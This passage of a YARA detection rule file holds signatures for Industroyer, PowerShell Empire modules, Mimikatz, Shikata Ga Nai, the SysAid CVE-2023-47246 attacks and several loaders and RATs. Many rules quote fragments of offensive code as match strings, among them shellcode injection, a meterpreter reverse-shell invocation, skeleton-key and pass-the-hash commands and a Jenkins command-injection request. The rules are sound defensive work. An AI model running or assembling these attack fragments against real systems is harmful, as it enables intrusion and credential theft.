		hash1 = "21c1fdd6cfd8ec3ffe3e922f944424b543643dbdab99fa731556f8805b0d5561"
		id = "f197d2a5-eecb-51ed-b991-7643efb3f749"

	strings:
		$s1 = "haslo.dat" fullword wide
		$s2 = "defragsvc" fullword ascii
		$a1 = { 00 2E 00 64 00 61 00 74 00 00 00 43 72 61 73 68 00 00 00 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of ( $s* ) or $a1 )
}

rule Industroyer_Malware_5
{
	meta:
		description = "Detects Industroyer related malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/x81cSy"
		date = "2017-06-13"
		hash1 = "7907dd95c1d36cf3dc842a1bd804f0db511a0f68f4b3d382c23a3c974a383cad"
		id = "52ce21a0-0c72-585c-a805-c5077a7445af"

	strings:
		$x1 = "D2MultiCommService.exe" fullword ascii
		$x2 = "Crash104.dll" fullword ascii
		$x3 = "iec104.log" fullword ascii
		$x4 = "IEC-104 client: ip=%s; port=%s; ASDU=%u " fullword ascii
		$s1 = "Error while getaddrinfo executing: %d" fullword ascii
		$s2 = "return info-Remote command" fullword ascii
		$s3 = "Error killing process ..." fullword ascii
		$s4 = "stop_comm_service_name" fullword ascii
		$s5 = "*1* Data exchange: Send: %d (%s)" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and ( 1 of ( $x* ) or 4 of them ) ) or ( all of them )
}

rule SysInternals_Tool_Anomaly
{
	meta:
		description = "SysInternals Tool Anomaly - does not contain Mark Russinovich as author"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 50
		reference = "Internal Research"
		date = "2016-12-06"
		id = "b676726b-7ecd-52ed-bdec-3d81b7596246"

	strings:
		$s1 = "Software\\Sysinternals\\%s" fullword ascii
		$n1 = "Mark Russinovich" wide ascii
		$nfp1 = "<<<Obsolete>>>" fullword wide
		$nfp2 = "BGInfo - Wallpaper text configurator" wide
		$nfp3 = "usage: movefile [source] [dest]" wide
		$nfp4 = "LoadOrder information has been copied" wide
		$nfp5 = "Cache working set cleared" wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and $s1 and not $n1 and not 1 of ( $nfp* ) )
}

rule Empire_Invoke_BypassUAC
{
	meta:
		description = "Empire - a pure PowerShell post-exploitation agent - file Invoke-BypassUAC.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/PowerShellEmpire/Empire"
		date = "2015-08-06"
		score = 70
		hash = "ab0f900a6915b7497313977871a64c3658f3e6f73f11b03d2d33ca61305dc6a8"
		id = "8454d929-e184-5be1-b61f-4dfa8f44bdda"

	strings:
		$s1 = "$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory" fullword ascii
		$s2 = "$proc = Start-Process -WindowStyle Hidden notepad.exe -PassThru" fullword ascii
		$s3 = "$Payload = Invoke-PatchDll -DllBytes $Payload -FindString \"ExitThread\" -ReplaceString \"ExitProcess\"" fullword ascii
		$s4 = "$temp = [System.Text.Encoding]::UNICODE.GetBytes($szTempDllPath)" fullword ascii

	condition:
		filesize < 1200KB and 3 of them
}

rule Empire_lib_modules_trollsploit_message
{
	meta:
		description = "Empire - a pure PowerShell post-exploitation agent - file message.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/PowerShellEmpire/Empire"
		date = "2015-08-06"
		score = 70
		hash = "71f2258177eb16eafabb110a9333faab30edacf67cb019d5eab3c12d095655d5"
		id = "cb0eee5a-c236-512e-8256-7411a7fb1fd5"

	strings:
		$s1 = "script += \" -\" + str(option) + \" \\\"\" + str(values['Value'].strip(\"\\\"\")) + \"\\\"\"" fullword ascii
		$s2 = "if option.lower() != \"agent\" and option.lower() != \"computername\":" fullword ascii
		$s3 = "[String] $Title = 'ERROR - 0xA801B720'" fullword ascii
		$s4 = "'Value'         :   'Lost contact with the Domain Controller.'" fullword ascii

	condition:
		filesize < 10KB and 3 of them
}

rule Empire_Persistence
{
	meta:
		description = "Empire - a pure PowerShell post-exploitation agent - file Persistence.psm1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/PowerShellEmpire/Empire"
		date = "2015-08-06"
		score = 70
		hash = "ae8875f7fcb8b4de5cf9721a9f5a9f7782f7c436c86422060ecdc5181e31092f"
		id = "0f63b5f4-f933-5821-b0b0-50717e75f6d9"

	strings:
		$s1 = "C:\\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -V" ascii
		$s2 = "# Execute the following to remove the user-level persistent payload" fullword ascii
		$s3 = "$PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', \"$PersistenceScriptName -Persist\")" fullword ascii

	condition:
		filesize < 108KB and 1 of them
}

rule Empire_portscan
{
	meta:
		description = "Empire - a pure PowerShell post-exploitation agent - file portscan.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/PowerShellEmpire/Empire"
		date = "2015-08-06"
		score = 70
		hash = "b355efa1e7b3681b1402e22c58ce968795ef245fd08a0afb948d45c173e60b97"
		id = "23a0f769-9155-5aa0-9200-2baf827bdda4"

	strings:
		$s1 = "script += \"Invoke-PortScan -noProgressMeter -f\"" fullword ascii
		$s2 = "script += \" | ? {$_.alive}| Select-Object HostName,@{name='OpenPorts';expression={$_.openPorts -join ','}} | ft -wrap | Out-Str" ascii

	condition:
		filesize < 14KB and all of them
}

rule Empire_Invoke_Shellcode
{
	meta:
		description = "Empire - a pure PowerShell post-exploitation agent - file Invoke-Shellcode.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/PowerShellEmpire/Empire"
		date = "2015-08-06"
		score = 70
		hash = "fa75cfd57269fbe3ad6bdc545ee57eb19335b0048629c93f1dc1fe1059f60438"
		id = "41788f71-cc99-50b3-bdc7-17b132ab2767"

	strings:
		$s1 = "C:\\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbos" ascii
		$s2 = "\"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!\" ) )" fullword ascii
		$s3 = "$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)" fullword ascii

	condition:
		filesize < 100KB and 1 of them
}

rule Empire_Invoke_Mimikatz
{
	meta:
		description = "Empire - a pure PowerShell post-exploitation agent - file Invoke-Mimikatz.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/PowerShellEmpire/Empire"
		date = "2015-08-06"
		score = 70
		hash = "c5481864b757837ecbc75997fa24978ffde3672b8a144a55478ba9a864a19466"
		id = "f7d6c1c4-2a24-54fd-b745-32d7894affc8"

	strings:
		$s1 = "$PEBytes64 = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwc" ascii
		$s2 = "[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)" fullword ascii
		$s3 = "Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp" fullword ascii

	condition:
		filesize < 2500KB and 2 of them
}

rule Empire_lib_modules_credentials_mimikatz_pth
{
	meta:
		description = "Empire - a pure PowerShell post-exploitation agent - file pth.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/PowerShellEmpire/Empire"
		date = "2015-08-06"
		score = 70
		hash = "6dee1cf931e02c5f3dc6889e879cc193325b39e18409dcdaf987b8bf7c459211"
		id = "f954b7e8-e820-5111-ba8d-a9b9779381b0"

	strings:
		$s0 = "(credID, credType, domainName, userName, password, host, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]" fullword ascii
		$s1 = "command = \"sekurlsa::pth /user:\"+self.options[\"user\"]['Value']" fullword ascii

	condition:
		filesize < 12KB and all of them
}

rule Empire_Write_HijackDll
{
	meta:
		description = "Empire - a pure PowerShell post-exploitation agent - file Write-HijackDll.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/PowerShellEmpire/Empire"
		date = "2015-08-06"
		score = 70
		hash = "155fa7168e28f15bb34f67344f47234a866e2c63b3303422ff977540623c70bf"
		id = "6a80af21-fb01-5996-b14d-44ff55b7fb3e"

	strings:
		$s1 = "$DllBytes = Invoke-PatchDll -DllBytes $DllBytes -FindString \"debug.bat\" -ReplaceString $BatchPath" fullword ascii
		$s2 = "$DllBytes32 = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBw" ascii
		$s3 = "[Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes32)" fullword ascii

	condition:
		filesize < 500KB and 2 of them
}

rule Empire_skeleton_key
{
	meta:
		description = "Empire - a pure PowerShell post-exploitation agent - file skeleton_key.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/PowerShellEmpire/Empire"
		date = "2015-08-06"
		score = 70
		hash = "3d02f16dcc38faaf5e97e4c5dbddf761f2816004775e6af8826cde9e29bb750f"
		id = "d508e09e-13e8-5866-bb5b-0d886f960bb5"

	strings:
		$s1 = "script += \"Invoke-Mimikatz -Command '\\\"\" + command + \"\\\"';\"" fullword ascii
		$s2 = "script += '\"Skeleton key implanted. Use password \\'mimikatz\\' for access.\"'" fullword ascii
		$s3 = "command = \"misc::skeleton\"" fullword ascii
		$s4 = "\"ONLY APPLICABLE ON DOMAIN CONTROLLERS!\")," fullword ascii

	condition:
		filesize < 6KB and 2 of them
}

rule Empire_invoke_wmi
{
	meta:
		description = "Empire - a pure PowerShell post-exploitation agent - file invoke_wmi.py"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/PowerShellEmpire/Empire"
		date = "2015-08-06"
		score = 70
		hash = "a914cb227f652734a91d3d39745ceeacaef7a8b5e89c1beedfd6d5f9b4615a1d"
		id = "1e1d1e71-6ea9-500a-b8b8-c48a64bc2b54"

	strings:
		$s1 = "(credID, credType, domainName, userName, password, host, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]" fullword ascii
		$s2 = "script += \";'Invoke-Wmi executed on \" +computerNames +\"'\"" fullword ascii
		$s3 = "script = \"$PSPassword = \\\"\"+password+\"\\\" | ConvertTo-SecureString -asPlainText -Force;$Credential = New-Object System.Man" ascii

	condition:
		filesize < 20KB and 2 of them
}

rule Hunting_Rule_ShikataGaNai
{
	meta:
		author = "Steven Miller"
		company = "FireEye"
		reference = "https://www.fireeye.com/blog/threat-research/2019/10/shikata-ga-nai-encoder-still-going-strong.html"
		id = "fe266a42-0480-5a98-9368-8a18aa5e4f69"

	strings:
		$varInitializeAndXorCondition1_XorEAX = { B8 ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 59 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 40 | 41 | 42 | 43 | 45 | 46 | 47 ) ?? }
		$varInitializeAndXorCondition1_XorEBP = { BD ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5A | 5B | 5C | 5E | 5F ) [0-50] 31 ( 68 | 69 | 6A | 6B | 6D | 6E | 6F ) ?? }
		$varInitializeAndXorCondition1_XorEBX = { BB ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5A | 5C | 5D | 5E | 5F ) [0-50] 31 ( 58 | 59 | 5A | 5B | 5D | 5E | 5F ) ?? }
		$varInitializeAndXorCondition1_XorECX = { B9 ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 48 | 49 | 4A | 4B | 4D | 4E | 4F ) ?? }
		$varInitializeAndXorCondition1_XorEDI = { BF ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5A | 5B | 5C | 5D | 5E ) [0-50] 31 ( 78 | 79 | 7A | 7B | 7D | 7E | 7F ) ?? }
		$varInitializeAndXorCondition1_XorEDX = { BA ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 50 | 51 | 52 | 53 | 55 | 56 | 57 ) ?? }
		$varInitializeAndXorCondition2_XorEAX = { D9 74 24 F4 [0-30] B8 ?? ?? ?? ?? [0-10] ( 59 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 40 | 41 | 42 | 43 | 45 | 46 | 47 ) ?? }
		$varInitializeAndXorCondition2_XorEBP = { D9 74 24 F4 [0-30] BD ?? ?? ?? ?? [0-10] ( 58 | 59 | 5A | 5B | 5C | 5E | 5F ) [0-50] 31 ( 68 | 69 | 6A | 6B | 6D | 6E | 6F ) ?? }
		$varInitializeAndXorCondition2_XorEBX = { D9 74 24 F4 [0-30] BB ?? ?? ?? ?? [0-10] ( 58 | 59 | 5A | 5C | 5D | 5E | 5F ) [0-50] 31 ( 58 | 59 | 5A | 5B | 5D | 5E | 5F ) ?? }
		$varInitializeAndXorCondition2_XorECX = { D9 74 24 F4 [0-30] B9 ?? ?? ?? ?? [0-10] ( 58 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 48 | 49 | 4A | 4B | 4D | 4E | 4F ) ?? }
		$varInitializeAndXorCondition2_XorEDI = { D9 74 24 F4 [0-30] BF ?? ?? ?? ?? [0-10] ( 58 | 59 | 5A | 5B | 5C | 5D | 5E ) [0-50] 31 ( 78 | 79 | 7A | 7B | 7D | 7E | 7F ) ?? }
		$varInitializeAndXorCondition2_XorEDX = { D9 74 24 F4 [0-30] BA ?? ?? ?? ?? [0-10] ( 58 | 59 | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 50 | 51 | 52 | 53 | 55 | 56 | 57 ) ?? }

	condition:
		any of them
}

rule APT_PS1_SysAid_EXPL_ForensicArtifacts_Nov23_1 : SCRIPT
{
	meta:
		description = "Detects forensic artifacts found in attacks on SysAid on-prem software exploiting CVE-2023-47246"
		author = "Florian Roth"
		score = 85
		reference = "https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification"
		date = "2023-11-09"
		id = "df7997d3-9309-58b3-8cd7-de9fea36d3c7"

	strings:
		$x1 = "if ($s -match '^(Sophos).*\\.exe\\s') {echo $s; $bp++;}" ascii wide
		$x2 = "$s=$env:SehCore;$env:SehCore=\"\";Invoke-Expression $s;" ascii wide

	condition:
		1 of them
}

rule MAL_Loader_TurtleLoader_Nov23
{
	meta:
		description = "Detects Tutle loader used in attacks against SysAid CVE-2023-47246"
		author = "Florian Roth"
		reference = "https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification"
		date = "2023-11-09"
		score = 85
		hash1 = "b5acf14cdac40be590318dee95425d0746e85b1b7b1cbd14da66f21f2522bf4d"
		id = "c7b5d03d-52c4-59b4-ac69-55e532a21340"

	strings:
		$s1 = "No key in args!" ascii fullword
		$s2 = "Bad data file!" ascii fullword
		$s3 = "Data file loaded. Running..." ascii
		$op1 = { 48 8d 55 c8 4c 8d 3d ac 8f 00 00 45 33 c9 45 33 d2 4d 8b e7 44 21 0a 45 33 db 4c 8d 3d 16 ec ff ff }
		$op2 = { 48 d3 e8 0f b6 c8 49 03 cb 49 81 c3 00 01 00 00 45 33 8c 8f a0 e4 00 00 41 83 fa 04 7c c7 41 ff c0 }
		$op3 = { 48 83 c1 04 48 ff ca 89 41 1c 75 ef 03 f6 48 83 c3 20 48 ff cd 0f 85 77 ff ff ff }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 3 of them
}

rule MAL_Grace_Dec22
{
	meta:
		author = "X__Junior"
		reference = "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/"
		description = "Detects Grace (aka FlawedGrace and GraceWire) RAT"
		date = "2022-12-13"
		hash1 = "a66df3454b8c13f1b92d8b2cf74f5bfcdedfbff41a5e4add62e15277d14dd169"
		hash2 = "e113a8df3c4845365f924bacf10c00bcc5e17587a204b640852dafca6db20404"
		score = 70
		id = "fc2214dc-f1e5-52d7-a9de-88709a03b04e"

	strings:
		$sa1 = "Grace finalized, no more library calls allowed." ascii
		$sa2 = "Socket forcibly closed due to no response to DISCONNECT signal from other side, worker id(%d)" ascii
		$sa3 = "AVWireCleanupThread" ascii
		$sa4 = "AVTunnelClientDirectIO" ascii
		$sa5 = "AVGraceTunnelWriteThread" ascii
		$sa6 = "AVGraceTunnelClientDirectIO" ascii

	condition:
		2 of them
}

rule Empire_Invoke_MetasploitPayload
{
	meta:
		description = "Detects Empire component - file Invoke-MetasploitPayload.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "a85ca27537ebeb79601b885b35ddff6431860b5852c6a664d32a321782808c54"
		id = "608c30b0-826a-55b1-afb8-756b476d6b55"

	strings:
		$s1 = "$ProcessInfo.Arguments=\"-nop -c $DownloadCradle\"" fullword ascii
		$s2 = "$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" fullword ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 9KB and 1 of them ) or all of them
}

rule Empire_Exploit_Jenkins
{
	meta:
		description = "Detects Empire component - file Exploit-Jenkins.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "a5182cccd82bb9984b804b365e07baba78344108f225b94bd12a59081f680729"
		id = "f2162783-34cd-5db4-bd1c-6c58feb92e77"

	strings:
		$s1 = "$postdata=\"script=println+new+ProcessBuilder%28%27\"+$($Cmd)+\"" ascii
		$s2 = "$url = \"http://\"+$($Rhost)+\":\"+$($Port)+\"/script\"" fullword ascii
		$s3 = "$Cmd = [System.Web.HttpUtility]::UrlEncode($Cmd)" fullword ascii

	condition:
		( uint16( 0 ) == 0x6620 and filesize < 7KB and 1 of them ) or all of them
}

rule Empire_Get_SecurityPackages
{
	meta:
		description = "Detects Empire component - file Get-SecurityPackages.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "5d06e99121cff9b0fce74b71a137501452eebbcd1e901b26bde858313ee5a9c1"
		id = "a109eda1-a26d-5cf6-b6b5-1a1a1e770a0a"

	strings:
		$s1 = "$null = $EnumBuilder.DefineLiteral('LOGON', 0x2000)" fullword ascii
		$s2 = "$EnumBuilder = $ModuleBuilder.DefineEnum('SSPI.SECPKG_FLAG', 'Public', [Int32])" fullword ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 20KB and 1 of them ) or all of them
}

rule Empire_Invoke_PowerDump
{
	meta:
		description = "Detects Empire component - file Invoke-PowerDump.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "095c5cf5c0c8a9f9b1083302e2ba1d4e112a410e186670f9b089081113f5e0e1"
		id = "d1082a4e-d458-57fb-b332-7c775c8ef2dd"

	strings:
		$x16 = "$enc = Get-PostHashdumpScript" fullword ascii
		$x19 = "$lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;" fullword ascii
		$x20 = "$rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);" fullword ascii

	condition:
		( uint16( 0 ) == 0x2023 and filesize < 60KB and 1 of them ) or all of them
}

rule Empire_Install_SSP
{
	meta:
		description = "Detects Empire component - file Install-SSP.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "7fd921a23950334257dda57b99e03c1e1594d736aab2dbfe9583f99cd9b1d165"
		id = "06bbdcc5-c48b-5753-88a2-5c962d1b986f"

	strings:
		$s1 = "Install-SSP -Path .\\mimilib.dll" fullword ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 20KB and 1 of them ) or all of them
}

rule Empire_Invoke_ShellcodeMSIL
{
	meta:
		description = "Detects Empire component - file Invoke-ShellcodeMSIL.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "9a9c6c9eb67bde4a8ce2c0858e353e19627b17ee2a7215fa04a19010d3ef153f"
		id = "06011b51-bad7-5656-ac37-e49f9b6d0498"

	strings:
		$s1 = "$FinalShellcode.Length" fullword ascii
		$s2 = "@(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3)" fullword ascii
		$s3 = "@(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57," fullword ascii
		$s4 = "$TargetMethod.Invoke($null, @(0x11112222)) | Out-Null" fullword ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 30KB and 1 of them ) or all of them
}

rule HKTL_Empire_PowerUp
{
	meta:
		description = "Detects Empire component - file PowerUp.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "ad9a5dff257828ba5f15331d59dd4def3989537b3b6375495d0c08394460268c"
		id = "e79d093e-7481-52a3-a350-4d1b6d8955cd"

	strings:
		$x2 = "$PoolPasswordCmd = 'c:\\windows\\system32\\inetsrv\\appcmd.exe list apppool" fullword ascii

	condition:
		( uint16( 0 ) == 0x233c and filesize < 2000KB and 1 of them ) or all of them
}

rule Empire_Invoke_Mimikatz_Gen
{
	meta:
		description = "Detects Empire component - file Invoke-Mimikatz.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
		id = "1f771a17-2534-5811-80bd-bc1bab37d97c"

	strings:
		$s1 = "= \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQ" ascii
		$s2 = "Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, \"Void\", 0, \"\", $ExeArgs)" fullword ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 4000KB and 1 of them ) or all of them
}

rule Empire_Get_GPPPassword
{
	meta:
		description = "Detects Empire component - file Get-GPPPassword.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "55a4519c4f243148a971e4860225532a7ce730b3045bde3928303983ebcc38b0"
		id = "7791b009-19d3-5d08-8ef7-4723d28830ed"

	strings:
		$s1 = "$Base64Decoded = [Convert]::FromBase64String($Cpassword)" fullword ascii
		$s2 = "$XMlFiles += Get-ChildItem -Path \"\\\\$DomainController\\SYSVOL\" -Recurse" ascii
		$s3 = "function Get-DecryptedCpassword {" fullword ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 30KB and 1 of them ) or all of them
}

rule Empire_Invoke_SmbScanner
{
	meta:
		description = "Detects Empire component - file Invoke-SmbScanner.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "9a705f30766279d1e91273cfb1ce7156699177a109908e9a986cc2d38a7ab1dd"
		id = "63cd048b-04fd-5b4f-9d4d-3a001c31b4df"

	strings:
		$s1 = "$up = Test-Connection -count 1 -Quiet -ComputerName $Computer " fullword ascii
		$s2 = "$out | add-member Noteproperty 'Password' $Password" fullword ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 10KB and 1 of them ) or all of them
}

rule Empire_Exploit_JBoss
{
	meta:
		description = "Detects Empire component - file Exploit-JBoss.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "9ea3e00b299e644551d90bbee0ce3e4e82445aa15dab7adb7fcc0b7f1fe4e653"
		id = "a9c75cf5-9469-5a45-b750-69728ed0069f"

	strings:
		$s1 = "Exploit-JBoss" fullword ascii
		$s2 = "$URL = \"http$($SSL)://\" + $($Rhost) + ':' + $($Port)" ascii
		$s3 = "\"/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service" ascii
		$s4 = "http://blog.rvrsh3ll.net" fullword ascii
		$s5 = "Remote URL to your own WARFile to deploy." fullword ascii

	condition:
		( uint16( 0 ) == 0x7566 and filesize < 10KB and 1 of them ) or all of them
}

rule Empire_dumpCredStore
{
	meta:
		description = "Detects Empire component - file dumpCredStore.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "c1e91a5f9cc23f3626326dab2dcdf4904e6f8a332e2bce8b9a0854b371c2b350"
		id = "cdb87ed4-fa90-5724-b37d-97cf8e4b8326"

	strings:
		$x1 = "[DllImport(\"Advapi32.dll\", SetLastError = true, EntryPoint = \"CredReadW\"" ascii
		$s12 = "[String] $Msg = \"Failed to enumerate credentials store for user '$Env:UserName'\"" fullword ascii
		$s15 = "Rtn = CredRead(\"Target\", CRED_TYPE.GENERIC, out Cred);" fullword ascii

	condition:
		( uint16( 0 ) == 0x233c and filesize < 40KB and 1 of them ) or all of them
}

rule Empire_Invoke_EgressCheck
{
	meta:
		description = "Detects Empire component - file Invoke-EgressCheck.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "e2d270266abe03cfdac66e6fc0598c715e48d6d335adf09a9ed2626445636534"
		id = "21e09250-6853-5743-a6ef-aa6be8091d33"

	strings:
		$s1 = "egress -ip $ip -port $c -delay $delay -protocol $protocol" fullword ascii

	condition:
		( uint16( 0 ) == 0x233c and filesize < 10KB and 1 of them ) or all of them
}

rule Empire_ReflectivePick_x64_orig
{
	meta:
		description = "Detects Empire component - file ReflectivePick_x64_orig.dll"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		modified = "2022-12-21"
		hash1 = "a8c1b108a67e7fc09f81bd160c3bafb526caf3dbbaf008efb9a96f4151756ff2"
		id = "cd69a149-d881-5f93-9647-84241bd96ba5"

	strings:
		$a1 = "\\PowerShellRunner.pdb" ascii
		$a2 = "PowerShellRunner.dll" fullword wide
		$s1 = "ReflectivePick" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and 1 of ( $a* ) and $s1
}

rule Empire_Out_Minidump
{
	meta:
		description = "Detects Empire component - file Out-Minidump.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/adaptivethreat/Empire"
		date = "2016-11-05"
		hash1 = "7803ae7ba5d4e7d38e73745b3f321c2ca714f3141699d984322fa92e0ff037a1"
		id = "8c53d2ab-afc5-5d7b-97e1-496425b9664f"

	strings:
		$s1 = "$Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle," fullword ascii
		$s2 = "$ProcessFileName = \"$($ProcessName)_$($ProcessId).dmp\"" fullword ascii

	condition:
